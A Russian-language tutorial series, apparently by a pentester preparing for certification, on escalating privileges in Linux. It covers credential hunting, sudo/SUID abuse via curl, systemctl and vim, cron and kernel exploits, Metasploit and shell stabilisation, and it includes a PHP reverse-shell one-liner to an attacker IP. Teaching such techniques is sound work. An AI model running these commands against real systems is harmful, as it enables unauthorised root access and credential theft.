Статья Я есть root. Разбираемся в повышении привилегий ОS Linux

[tabac]

Мне хочется поделиться с вами тем, что удалось узнать за время подготовки и успешной сдачи экзамена (включая периодические набеги на Hack The Box). Я испытывал сильнейшее ощущение благодарности к каждой крупице информации, которая помогала мне пройти путь Try Harder более осознанно, сейчас мое время отдать должное комьюнити.

Я хочу дать вам мануал по повышению привилегий в OS Linux, включающий в себя разбор наиболее частых векторов и смежных фишек, которые вам обязательно пригодятся. Зачастую сами механизмы повышения привилегий достаточно несложные, трудности возникают при структурировании и анализе информации. Поэтому я решил начать с «обзорной экскурсии» и далее рассматривать каждый вектор в отдельной статье. Надеюсь, я сэкономлю вам время на изучение темы.

Итак, почему повышение привилегий вообще возможно в 2020-м, если методы хорошо известны уже очень давно? На самом деле при грамотном обращении пользователя с системой повысить привилегии в ней действительно не удастся. Основная глобальная проблема, которая порождает такие возможности, заключается в небезопасной конфигурации. Наличие в системе устаревших версий ПО, содержащих уязвимости, также является частным случаем небезопасной конфигурации.


Повышение привилегий через небезопасную конфигурацию

Прежде всего давайте разберемся с небезопасной конфигурацией. Начнем с того, что ИТ-специалисты часто пользуются мануалами и ресурсами вроде stackoverflow, многие из которых содержат небезопасные команды и конфиги. Яркий пример — новость о том, что самый копируемый со stackoverflow код содержал ошибку. Опытный админ увидит косяк, но это — в идеальном мире. Даже грамотные специалисты при повышенной рабочей нагрузке способны допускать ошибки. Представьте, что админ занимается подготовкой и согласованием документации на очередной тендер, параллельно вникает в новую технологию, которую предстоит внедрить в следующем квартале, при этом периодически решает задачи по поддержке пользователей. И тут ему нарезают задачу по-быстрому поднять пару виртуалок и раскатать на них сервисы. Как вы думаете, какова вероятность того, что админ просто не заметит косяк? Потом специалисты меняются, а костыли остаются, при этом компании всегда стремятся минимизировать затраты, в том числе на ИТ-шников.

Системная оболочка, полученная на стадии эксплуатации, часто бывает ограниченной, особенно если вы заполучили ее через взлом пользователя веб-сервера. Например, ограничения оболочки могут помешать применить команду sudo с выводом ошибки:

sudo: no tty present and no askpass program specified

После получения оболочки я рекомендую создать полноценный терминал, например, с помощью Python.

python -c 'import pty;pty.spawn("/bin/bash")'

Вы спросите: «Зачем мне тысяча команд, если я могу воспользоваться одной, например, для передачи файлов?» Дело в том, что системы бывают сконфигурированы по-разному, на очередном хосте может быть не установлен Python, однако иметься Perl. Мастерство в том, чтобы иметь возможность делать в системе привычные вещи без привычных инструментов. Полный перечень возможностей можно найти тут.

Низкопривилегированный шелл можно получить, используя команды 1 и команды 2 (удивительно, что даже GIMP).

Просмотр истории команд

Linux собирает историю всех выполненных команд в файле ~/.bash_history. Если сервер активно используется, и его история не очищается, существует большая вероятность найти в этом файле учетные данные. Чистить историю банально неудобно. Если администратор вынужден выбирать десятиэтажные команды через \, конечно, ему будет удобнее вызвать эту команду из истории, чем вводить заново. Плюс многие не знают об этом «хаке». Если в системе присутствуют альтернативные оболочки вроде Zsh или Fish, они ведут свою историю. Чтобы вывести историю команд в любой оболочке, достаточно набрать команду history.

cat ~/.bash_history
cat ~/.mysql_history
cat ~/.nano_history
cat ~/.php_history
cat ~/.atftp_history

Существует shared hosting, при котором сервер используется для хостинга нескольких сайтов. Обычно при такой конфигурации для каждого ресурса создается свой пользователь с отдельной домашней директорией и виртуальный хост. Так вот, при неправильной настройке в корневой директории веб-ресурса можно обнаружить файл .bash_history.

Поиск паролей в файловой системе и атаки на смежные системы

Конфигурационные файлы различных сервисов могут быть доступны для чтения вашему текущему пользователю. В них можно встретить учетные данные в открытом виде — пароли для доступа в базу данных или смежные сервисы. Один и тот же пароль может быть использован как для доступа в базу данных, так и для авторизации пользователя root (credential staffing).
Бывает так, что найденные учетные данные принадлежат сервисам на других хостах. Развитие атаки на инфраструктуру через скомпрометированный хост ничем не хуже эксплуатации других хостов. Смежные системы также можно найти с помощью поиска IP-адресов в файловой системе.

grep -lRi "password" /home /var/www /var/log 2>/dev/null | sort | uniq #Find string password (no cs) in those directories
grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort -u | uniq #IPs inside logs

В случае, если на скомпрометированном хосте имеется веб-приложение, доступное из Интернета, лучше исключить его логи из поиска IP-адресов. Адреса пользователей ресурса из Интернета нам вряд ли будут полезны, а вот адреса внутренней сети (172.16.0.0/12, 192.168.0.0/16, 10.0.0.0/8) и то, куда они заходят, судя по логам, могут представлять интерес.

Sudo

Команда sudo дает пользователю возможность выполнить команду в контексте root с помощью собственного пароля или вовсе без его использования. Многие операции в Linux требуют привилегий root, однако работа из-под root считается очень плохой практикой. Вместо этого лучше применять выборочное разрешение на выполнение команд в контексте root. Однако многие инструменты Linux, включая стандартные типа vi, можно использовать для повышения привилегий вполне легитимными способами. Для поиска подходящего способа рекомендую посмотреть здесь.

Первое, что нужно сделать, получив доступ в систему, — выполнить команду sudo -l. Она выведет разрешение на использование команды sudo. Если получен пользователь без пароля (например, apache или www-data), вектор повышения привилегий через sudo маловероятен. При использовании sudo система запросит пароль. Через команду passwd задать пароль также не выйдет, она запросит текущий пароль пользователя. Но если sudo все же доступен, то, по сути, необходимо искать:

• любые интерпретаторы, каждый может заспавнить shell (PHP, Python, Perl);
• любые текстовые редакторы (vim, vi, nano);
• любые просмотровики (less, more);
• любые возможности работы с файловой системой (cp, mv);
• тулы, которые имеют выход в bash, интерактивный или в виде исполняемой команды (awk, find, nmap, tcpdump, man, vi, vim, ansible).

В Интернете есть множество мануалов, которые советуют собрать все suid/sgid команды, однако редкая статья даёт конкретику, что делать с этими программами. Варианты повышения привилегий, не учитывающие применение эксплоитов, можно найти тут. Также ряд исполняемых файлов имеет специфические уязвимости под версию ОС, например.

В идеальном мире нужно пропустить все установленные пакеты хотя бы через searchsploit. На практике подобное стоит проделывать с наиболее популярными программами типа sudo. Также всегда есть вариант использовать и поддерживать разработку автоматизированных инструментов, которые подсветят интересные, с точки зрения повышения привилегий, исполняемые файлы с выставленными битами suid/sgid. Перечень таких инструментов я приведу в соответствующем разделе статьи.

Доступные на запись скрипты, запускаемые Cron или Init, в контексте Root

Задачи cron могут выполняться в контексте различных пользователей, в том числе root. Если в cron выставлена задача со ссылкой на исполняемый файл, и он доступен вам для записи, его легко можно подменить вредоносным и выполнить повышение привилегий. При этом по умолчанию файлы с задачами cron доступны на чтение любому пользователю.

ls -la /etc/cron.d  # show cron jobs

Похожим образом обстоят дела с init. Отличие в том, что задачи в cron выполняются периодически, а в init — при старте системы. Для эксплуатации потребуется перезагрузка системы, при этом часть сервисов может и не подняться (если они не были прописаны в автозагрузку).

ls -la /etc/init.d/  # show init scripts

Также можно поискать файлы, доступные для записи любому пользователю.

find / -perm -2 -type f 2>/dev/null # find world writable files

Метод довольно известный, опытные системные администраторы аккуратно пользуются командой chmod. Однако на просторах Сети в подавляющем большинстве мануалов описано выставление максимальных прав. Подход неопытных системных администраторов «лишь бы заработало» создает возможности для повышения привилегий в принципе. Если есть возможность, лучше поискать в истории команд небезопасное использование chmod.

chmod +w /path
chmod 777 /path

Получение доступа в оболочку других пользователей

Смотрим список пользователей в /etc/passwd. Обращаем внимание на тех, у кого есть оболочка. Можно побрутить этих пользователей — не исключено, что через полученного пользователя в итоге удастся повысить привилегии.

Для повышения безопасности рекомендую всегда придерживаться принципа минимальных привилегий. Также имеет смысл уделить время проверке небезопасных конфигураций, которые могли остаться после траблшутинга, — это «технический долг» системного администратора.

Самописный код

Стоит внимательно посмотреть на исполняемые файлы в домашней директории пользователя и веб-сервера (/var/www/, если не задана другая). Эти файлы могут оказаться совершенно небезопасным решением и содержать в себе невероятные костыли. Конечно, если вы имеете какой-нибудь фреймворк в директории веб-сервера, не имеет смысла искать в нем zero-day в рамках пентеста, однако найти и изучить кастомные доработки, плагины и компоненты рекомендуется.

Для повышения безопасности лучше по возможности отказаться от использования учетных данных в самописных скриптах, а также от потенциально опасного функционала, например чтения /etc/shadow или манипуляций с id_rsa.


Повышение привилегий через эксплуатацию уязвимостей

Прежде чем пытаться повысить привилегии через эксплуатацию, важно разобраться с передачей файлов на целевой хост. Помимо привычных средств вроде ssh, ftp, http (wget, curl) есть целый «зоопарк» возможностей.

Для повышения безопасности системы регулярно обновляйте ее до актуальных стабильных версий, а также старайтесь использовать дистрибутивы, рассчитанные на Enterprise. В противном случае, редко, но бывают ситуации, когда apt upgrade делает систему неработоспособной.

Эксплуатация сервисов, запущенных в контексте пользователя root

Некоторые сервисы Linux работают от привилегированного пользователя root. Их можно найти с помощью команды ps aux | grep root. При этом сервис может не анонсироваться в Cеть и быть доступным локально. Если он имеет публичные эксплоиты, их можно смело применять: падение сервиса в случае неудачи гораздо менее критично, чем падение ОС.

ps -aux | grep root # Linux

Самым удачным случаем можно считать работу взломанного сервиса в контексте пользователя root. Эксплуатация сервиса SMB дает привилегированный доступ SYSTEM в системах Windows (например, через ms17-010). Однако в системах Linux такое встречается нечасто, поэтому можно провести немало времени над повышением привилегий.

Эксплуатация уязвимостей ядра Linux

Это путь, которым следует идти в последнюю очередь. Неудачная эксплуатация может привести к падению системы, а в случае ребута некоторые сервисы (в том числе те, через которые удалось получить изначальный shell) могут не подняться. Бывает, что администратор банально забыл применить команду systemctl enable . Плюс это вызовет много недовольства вашими работами, если эксплуатация не была согласована.
Если решили использовать исходные коды из exploitdb, обязательно прочитайте комментарии в начале скрипта. Помимо прочего, там обычно написано, как следует правильно компилировать данный эксплоит. Если самому лень или по срокам нужно было «вчера», можно поискать репозитории с уже скомпилированными эксплоитами, например. Однако следует понимать, что в таком случае вы получите кота в мешке. С другой стороны, если бы программист разбирался до байта, как устроен компьютер и используемый им софт, он бы за всю жизнь не написал бы и строчки кода.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Metasploit

Для того, чтобы поймать и обработать соединение, всегда лучше использовать модуль exploit/multi/handler. Главное — выставить правильный payload, например, generic/shell/reverce_tcp или generic/shell/bind_tcp. Оболочку, полученную в Metasploit, можно улучшить до Meterpreter с использованием модуля post/multi/manage/shell_to_meterpreter. Имея Meterpreter, вы можете автоматизировать процесс постэксплуатации. Например, модуль post/multi/recon/local_exploit_suggester проверяет платформу, архитектуру и необходимые для эксплуатации сущности и предлагает модули Metasploit для повышения привилегий на целевой системе. Благодаря Meterpreter, повышение привилегий иногда сводится к запуску нужного модуля, однако взлом без понимания происходящего под капотом не является «тру» (вам еще отчет писать).

Tools

Инструменты автоматизации локального сбора информации сохранят вам большое количество сил и времени, однако сами по себе не способны полностью выявлять путь повышения привилегий, особенно в случае эксплуатации уязвимостей ядра. Инструменты автоматизации выполнят за вас все необходимые команды для сбора информации о системе, но важно также суметь проанализировать полученные данные. Надеюсь, моя статья будет вам в этом полезна. Конечно, инструментов существует гораздо больше, чем я приведу ниже, однако они все делают примерно одно и то же — тут, скорее, дело вкуса.

Linpeas

Достаточно свежая тула, первый коммит датируется январем 2019 года. На данный момент мой любимый инструмент. Суть в том, что он подсвечивает наиболее интересные векторы повышения привилегий. Согласитесь, удобнее получить экспертную оценку на таком уровне, чем разбирать монолитные сырые данные.

LinEnum

Второй мой любимый инструмент, он также собирает и систематизирует данные, полученные в результате локального перечисления.

Linux-exploit-suggester (1,2)

Этот эксплоит проанализирует систему на наличие подходящих условий для эксплоитов. По сути, сделает работу, идентичную модулю Metasploit local_exploit_suggester, но предложит не модули Metasploit, а ссылки на исходные коды exploit-db.

Linuxprivchecker

Данный скрипт соберет и систематизирует по разделам большое количество информации, которая может быть полезна для формирования вектора повышения привилегий.


Автор @ true-hero

 

[tabac]

Я есть root. Повышение привилегий в ОС Linux через SUID/SGID

В прошлом посте я провел «обзорную экскурсию» по методам повышения привилегий в ОС Linux. Сегодня разбираю вектор повышения привилегий через небезопасные разрешения SUID/SGID. Поэтому больше консоли и меньше слов.

Что такое SUID?

Бит смены владельца или SUID (Set User ID) — это разрешение файловой системы Linux, которое позволяет запустить исполняемый файл от имени его владельца. Он нужен, потому что многие действия в Linux (например, открытие «сырого» сетевого сокета) требуют прав суперпользователя. Хорошо знакомая всем команда ping использует сетевые сокеты и поэтому должна быть запущена от root’а. Каким образом можно позволить обычному пользователю применять команду ping? Можно выдать пользователю sudo на необходимые команды. Но представьте, что на условной Linux-машине имеется 100 пользователей и насчитывается около 20 привилегированных команд. А как потом управлять разрешениями sudo на все это «богатство»? Не самое элегантное решение, не правда ли? С другой стороны, бит смены владельца значительно упрощает процесс. Бит смены владельца сообщит системе, что все 100 пользователей системы запускают команду ping от имени root.

Итак, мы с вами поняли, что представляет собой SUID, но также это понимают и хакеры. В большинстве случаев повышение привилегий через исполняемый файл с SUID возможно, если:

• исполняемый файл позволяет взаимодействовать с файловой системой;
• исполняемый файл так или иначе имеет возможность выхода в командную строку.

Пример с curl

Разберемся по порядку. Допустим, я обнаружил, что исполняемому файлу curl выставлен бит смены владельца, мы можем это понять по букве s в разрешениях файла.

Выставление SUID для curl

Выставленный SUID позволяет скачивать файл от имени root’а. Поскольку файл скачивает root, то он же является и владельцем файла.

Загрузка файла через curl с SUID

Хорошо, что с этим делать дальше? Попытаюсь заменить какой-нибудь чувствительный файл: /etc/passwd подходит как нельзя лучше. Сначала скопирую существующий файл на хост атакующего.

Скачиваю файл командой scp

В полученном файле поменяю ID пользователя и группы для пользователя bob с 1000 на 0 (что соответствует root).

Исходные ID пользователя bob

Отредактированный файл скачаю на атакуемый хост с помощью команды curl.

Успешное повышение привилегий


Пример с systemctl

Думаю, стало понятнее, однако давайте разберем другой пример: я подобрал пароль пользователя bob и получил доступ по SSH. Осматриваюсь и изучаю окружение — в этом случае командой find.

find / -user root -perm -u=s -type f 2>/dev/null

Почувствуй разницу: слева вывод linpeas, справа, по сути, тот же вывод, но команда find введена вручную

Нахожу в выводе команды find бинарник /usr/bin/systemctl. Раз у меня есть доступ к systemctl, да еще и в контексте root (ведь я нашел этот бинарник, выполняя поиск файлов, владельцем которых является root и для которых выставлен suid), я могу запустить вредоносный сервис. Особого кун-фу тут не требуется, достаточно создать текстовый файл с описанием сервиса.

Пример файла с описанием сервиса

[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target

Демонстрация работы сервиса

Мне ничего не мешает изменить сервис, например, написать в него бэк-коннект. Остается только поднять хендлер (обработчик) на хосте атакующего и перезапустить сервис.

Успешное повышение привилегий. Наверху хендлер, внизу запуск сервиса

Я привел примеры, в которых бит смены владельца выставлен у пользователя root, но этот вектор также можно использовать для компрометации менее привилегированных пользователей системы. Как видите, бит смены владельца — это довольно чувствительная к безопасности «вещь», и он может оказаться узким местом харденинга Linux-системы.

Главное в этом векторе, как и везде в offensive, — понимать, как все устроено. Я рекомендую повторить пару примеров, чтобы не только понять, но и осознать полученную информацию. Для практики можно самому поднять стенд и поэкспериментировать, а можно совместить приятное с полезным и поискать write up’ы hackthebox устаревших машин, где для повышения привилегий использован вектор с SUID. Порешать их, прокачать свой аккаунт, рассказать о нем на собеседовании. Со временем вы поймете, что write up’ы лишают вас ощущения победы, и когда почувствуете в себе силы, сможете применять накопленный багаж знаний.

Больше конкретных примеров повышения привилегий через SUID можно найти тут, включая разобранный нами.

А что с битом смены группы владения SGID (Set Group ID)?

В целом суть та же, но некоторые трюки будут сложнее, например /etc/passwd таким образом перезаписать не удастся, так как группе root нельзя редактировать файл. Да и сервис перезапустить не получится.

Разрешения файла /etc/passwd не позволяют группе root изменение

Попытка перезапуска сервиса

Остается вариант с интерактивным шеллом, например через vim. Для этого используйте команду:

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")

Группа root позволяет читать содержимое директории /root, но при этом нельзя даже прочитать содержимое файла id_rsa. Бит смены группы владения SGID дает несравнимо меньшие возможности для повышения привилегий.

Содержимое директории /root


Харденинг

Для безопасного харденинга рекомендую исключить наличие бита смены владельца/группы для указанных в перечне исполняемых файлов. При этом нужно учитывать, что за удалением бита смены владельца/группы могут последовать некорректное поведение сервиса и траблшутинг. И уж точно не стоит удалять бит смены владельца у всех исполняемых файлов.


Напоследок

В статье я использовал примеры из лучшего, на мой взгляд, сборника по повышению привилегий gtfobins.

1. curl
2. systemctl
3. vim

В следующем посте обсудим, как получать стабильный shell. Успешной охоты!

Автор @ true-hero

 

[tabac]

Я есть root. Получаем стабильный shell

Давайте представим, что мы получили бэк-коннект в результате эксплуатации RCE-уязвимости в условном PHP-приложении. Но едва ли это соединение можно назвать полноценным. Сегодня разберемся в том, как прокачать полученный доступ и сделать его более стабильным.

Это третья часть из цикла статей по повышению привилегий в ОС Linux, я есть root. Первая статья была обзорной, во второй статье я разбирал вектор повышения через SUID/SGID.

Итак, мы получили initial shell. Кто знает, как это по-русски? «Изначальная оболочка» или «первичный доступ» — ГОСТ’а нет, поэтому прошу в комментарии. Так вот, мы не сможем использовать это соединение для успешного pivoting'a, поскольку тот же SSH нам не доступен.

Безуспешная попытка использования SSH

Система сообщает нам, что не может справиться с SSH без полноценного терминального shell’a. Что делать в этом случае? Отправляемся в Google и находим подборки команд, не все из которых нам помогут, например:

/bin/sh -i

Попытка создания псевдотерминала через /bin/sh

Что мы можем с этим сделать? Как получить стабильный шелл? Сейчас разберемся.


Зачем нам терминал в нашем соединении?

Давным-давно, во второй половине 20 века, компьютеры были большими, а взаимодействие пользователей с ними происходило посредством физических устройств, называемых телепринтерами и телетайпами. Об истории терминалов можно почитать тут, а нам важно понимать, что сейчас Linux все так же считает себя мейнфреймом, а общение с системой происходит по виртуальным терминалам.

Часто во время тестирования на проникновение мы получаем оболочку, в которой нет виртуального терминала. Большинство привычных нам бэк-коннектов представляют собой не что иное, как открытие сетевого сокета и перенаправление потоков ввода/вывода в данный сокет. При этом на хосте атакующего отсутствует такая сущность, как терминал (tty). Отсутствие терминала в соединении не дает системе корректно работать с вводом/выводом, поскольку не весь вывод можно корректно вывести через сетевой сокет на хост атакующего. Тот же пример с SSH: запрос на доверие сертификату приходит в терминал атакуемого хоста, но не доходит по сокету на хост атакующего. Команда ниже использована для имитации эксплуатации RCE-уязвимости.

php -r '$sock=fsockopen("172.16.236.128",443);exec("/bin/sh -i <&3 >&3 2>&3");'

Попытка воспользоваться SSH через nc-соединение

Запрос на доверие сертификату выводится на атакуемом хосте

На стороне атакующего терминала пока нет

Прокачиваем наш изначальный шелл

Мы можем использовать Python, чтобы выйти в bash, при этом получив в свое распоряжение терминал. Команда tty показывает адрес текущего терминала.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Создание виртуального терминала в Python

На этом этапе нам уже доступен некий интерактив в виде возможности дать ответ на запросы системы из серии «доверяйте данному ключу SSH» или «введите пароль, чтобы воспользоваться sudo».

Это уже что-то, однако у нас все еще нет возможности воспользоваться нашим любимым сочетанием клавиш ctrl+c (пентестерский софт ведь никогда не отличался хорошей стабильностью). Чтобы получить более стабильную версию shell’a и не пересоздавать соединение по 10 раз, рекомендую использовать следующий прием.

nc -nlvp 443
#ctrl + z
stty raw -echo && fg

Команда stty устанавливает свойства терминальной линии. Этот инструмент позволит нам сообщить терминалу на стороне атакующего, что наш ввод нужно просто направлять в stdin без обработки. Таким образом, мы больше не убьём сессию, если машинально нажмем ctrl+c.

Получение стабильного shell'a с помощью настройки свойств терминала

Бывает, что в системе просто не установлен Python. Что же делать в этом случае? Можно воспользоваться утилитой script, например, в CentOS она доступна по умолчанию.

/usr/bin/script -qc /bin/bash /dev/null

Создание виртуального терминала в script

Думаю, этого достаточно для понимания процесса создания стабильных и удобных соединений.

Харденинг

По поводу безопасного харденинга заморачиваться сильно смысла не имеет, поскольку вы уже проморгали RCE в системе. В принципе, успешное поднятие привилегий возможно и без описанных сегодня методов.


Автор @ true-hero